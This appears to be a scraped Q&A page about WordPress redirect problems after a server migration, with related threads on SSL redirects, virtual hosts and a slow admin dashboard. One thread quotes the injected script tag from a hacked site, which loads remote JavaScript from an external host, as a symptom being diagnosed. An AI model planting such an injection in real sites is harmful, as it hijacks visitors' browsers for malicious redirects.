Browser ignores the url path on the first load - wordpress

I have a Wordpress site that is migrated to a new server. Along with the migration, it now also has a subfolder /en which is a different version of the website targeted for international audience. The problem I am facing is that if I try to load the site example.com/en, on the first load it redirects to example.com. But if I load example.com/en on the second try it goes to the subfolder website. And it is browser specific. I have this problem on Chrome and Safari but not on Firefox
I have already tried clearing the cache in the CMS level and also on the browser, this hasn't helped in any way. Could it be because of DNS switching from older server to the new server?
Thanks

Here are some ideas on how to find the root of the problem:
Check the site from a different network / device to make sure it's not the DNS cache
Check the .htaccess file of the server, maybe theres a misconfiguration
Use a site like this one to trace the redirect
If nothing helpes you could just wait a few hours, maybe the DNS servers take some time to update all the settings.

Related

After migrating wordpress site some pages redirecting to old domain

I just migrated the my website from my old domain to new domain. Its migrated but when I am clicking on something like pages or category its redirecting me to the old site with this error:
The site can't provide a secure connection. shopskart.in sent an invalid response. ERR_SSL_PROTOCOL_ERROR
Screenshot of error message
I also did these changes in wp-conf and wp-options but still I am getting same issue. Someone said its because its forcing site to https due to SSL I had but now I don't have SSL and don't want one right now.
You probably copied the old SSL file to your new site, and it's still active. You should disable it. Also check if there's any setting (in backend or database) pointing to https in stead of http, since you won't be using a secure connection anymore (Why not? You should!). Check the htaccess file as well! If the problem still occurs try clearing your browsercache.
From where i can find the ssl file. Or code. Actually the website was created by my developer and now he refused to give the data when i asked him. So i migraded using wp plugins and dont know where he pasted the ssl certificate.

Redirect loop to old URL on aspx site

I inherited a site that worked on the domain.
Hosted on a plesk server from GoDaddy.
I placed a new site on oldguard.org which is hosted on ionos (formerly 1and1) and is working fine as is...you can see it at https://oldguard.org.
I wanted to take the old site that use to be on oldguard.org (current plesk site) which I can't not get to load at all, and place it on a new domain http://demotoga.com.
I have checked the servers with the domains and everything seems to be pointing in the right directions. However, when you go to demotoga.com, you get redirected to oldguard.org which is hosting the new site. For some reason, the old site (plesk location files on Godaddy servers) will not load on demotoga.com no matter what I do. It just keeps redirecting to Oldguard.org.
I believe the problem lies in the web config file for the hosting files that are for the old site which use to live on oldguard.org but cannot locate why the site continues to redirect. Shouldn't the site appear on demotoga.com if everything matches up?
I've looked around and around and cannot find where it points to the oldguard.org URL. What other Information is needed to solve this issue? Happy to provide any coding or give additional information just not sure what is needed to solve this issue.
Full web config code can be found here:
https://www.oldguard.org/wp-content/uploads/2018/12/oldguard-oldwebconfig.pdf

Wordpress - instance always generates page that switches to external site

I'm getting an issue where WordPress always serves me a page that takes me to an external site.
Whether I try to visit a URL on mylivesite.com, page content is always as follows (keyword= varies according to the URL I type in):
<nofollow><noindex>
<script src="http://externalsite.com/?jquery&source=mylivesite.com&
keyword=ksjdhskjfhjksfsdf"></script></noindex></nofollow>
This happens only on the live site and not on my localhost site (which should be a very close copy of the live site).
I looked through the MySQL database using string search and couldn't find
any matches to externalsite.com.
I grep'ed the entire tree of hosted files and no matches either.
Can't see any nefarious looking rules in
wp_options.rewrite_rules.
Tried to disable all plugins (except W3TC) by renaming directories within wp-content/plugins, which I think has worked.
.htaccess is the standard WordPress bootstrap.
The installation is an individual domain running its own instance of WP.
This effect prevents me accessing wp-admin on the live site.
Any ideas about what layer or setting might cause this to happen?
The site had been hacked. This was causing it to redirect to an external site after most page requests.
Cleanup guide for hacked sites: http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
Thanks to all who provided help.

Multiple sites on same server and issues with SSL

A number of months ago I created the site cascocc.com. All is well. I then created another site coloradospringshomebuilders.com. All was well, I started development.
I then got an SSL for cascocc.com and installed it, all was well. Some items were not being delivered using SSL so I used the plug in force SSL to get the fancy green bar to show up.
Now coloradospringshomebuilders.com redirects to cascocc.com and I can not figure out how to fix it. I have reverted all my htacess files to the most basic possible. Am I missing one or what am I missing?
Any ideas?
EDIT: I deleted ALL .htaccess files on the entire server. The second site is still redirecting to the first and trying to use the firsts site SSL cert. I do not understand how this is happening
1st sites .htaccess file
2nd sites .htaccess file
This problem sounds like your Virtual hosts are not setup correctly. The SSL setting is overriding any other setting and redirecting to the page that is setup with SSL.
That can only be solved in the server settings (in this case most likely the virtual host). Depending on where you host your sites you might not have access to this, so I would advise to direct this question to your hosting provider.
This whole "redirect" is happening before the server reads the .htaccess files, that's why you can't solve this problem there.

WP Admin extremely slow

The WP back end of a site I'm working on (It's a multisite) takes about 25 seconds to load.
Everything was working fine until yesterday and the front end still works perfectly well. All other sites on the same server run just as well, so it MUST be a WP back end issue.
I don't remember exactly what change it was that made it so slow. I remember updating WP recently (to version 3.4.2), adding some plugins on one of the sites and changing the max upload file size.
I tried to disable all the plugins, changing the themes back to default, changing the max file size back, and adding define('WP_MEMORY_LIMIT', '1024M'); (and other values) to WP-config but none of it helped.
Also tried to 'Update network', but I got an error - couldn't connect to host.
Any ideas?
I got in touch with our network admin and we resolved the issue.
I will copy his answer here. Hope it helps someone.
Does Wordpress use 'self-referential URLs' ? What I mean by this is...
is wordpress trying to access it's own templates/css using fully
qualified domain names in the URL (e.g. http://example.co.uk/someurl )
Because we use Network Address Translation (NAT) on our firewalls to
hide the real IP address of the server, it has the side effect that if
the server tries to access it's own URLs, it will try to send the
traffic to the external interface on our firewall, which is where the
DNS resolves to.
The fix for this is very simple - we just add the site url into the
/etc/hosts file so that the server knows to use it's own IP address
instead of the address on the firewall.
So he added our address to the hosts file and now it works perfectly.
Awesome.
I've seen this before where the admin pages are trying to poll external Wordpress sites for details of Wordpress upgrades, plugin updates and Wordpress news. If there's no proper access (because of firewall restrictions, bad DNS, etc) then the page has to wait for the HTTP requests (I think WP uses cURL) to timeout.
If you're still unable to identify the cause I'd recommend a catch-all solution of installing xdebug and profiling the page with webgrind, xcachegrind, etc
Had the same problem for a week and now the problem of very slow WP-admin was solved!
Before, I cannot access my sites if I use incognito or I am not logged in as WP user, but all times in the wp-admin, it takes me 40 seconds- minute or even never.
Solution that worked:
I accessed the files in the file manager using the CPanel, and I saw so many unused and unnecessary folders and themes and that's the reason that causes the very slow access to admin.
It was because during the days of being a newbie, I stuffed a lot of files in the Public Http and that made it congested.
I logged in to another CPanel account that I bought personally before, and compared the folders of the "proper" versus the "congested" and compress, backed-up and deleted all the unnecessary.
My host: Hostgator, responded well also.
Hope this would help others.
I also had a very slow Dashboad in wordpress. Reading the James C´s answer, I realized that my site is located in a corporate intranet behind a firewall to access internet.
James C answered:
"I've seen this before where the admin pages are trying to poll external Wordpress sites for details of Wordpress upgrades, plugin updates and Wordpress news. If there's no proper access (because of firewall restrictions, bad DNS, etc) then the page has to wait for the HTTP requests (I think WP uses cURL) to timeout."
My solution was avoid all the internet conections: (1) disable all the wordpress updates using the wordpress plugin "Disable all wordpress updates". (2) activate de wordpress pluging "Disable google fonts"
After these two plugin activations, the Dashboard works to a suitable speed.

Resources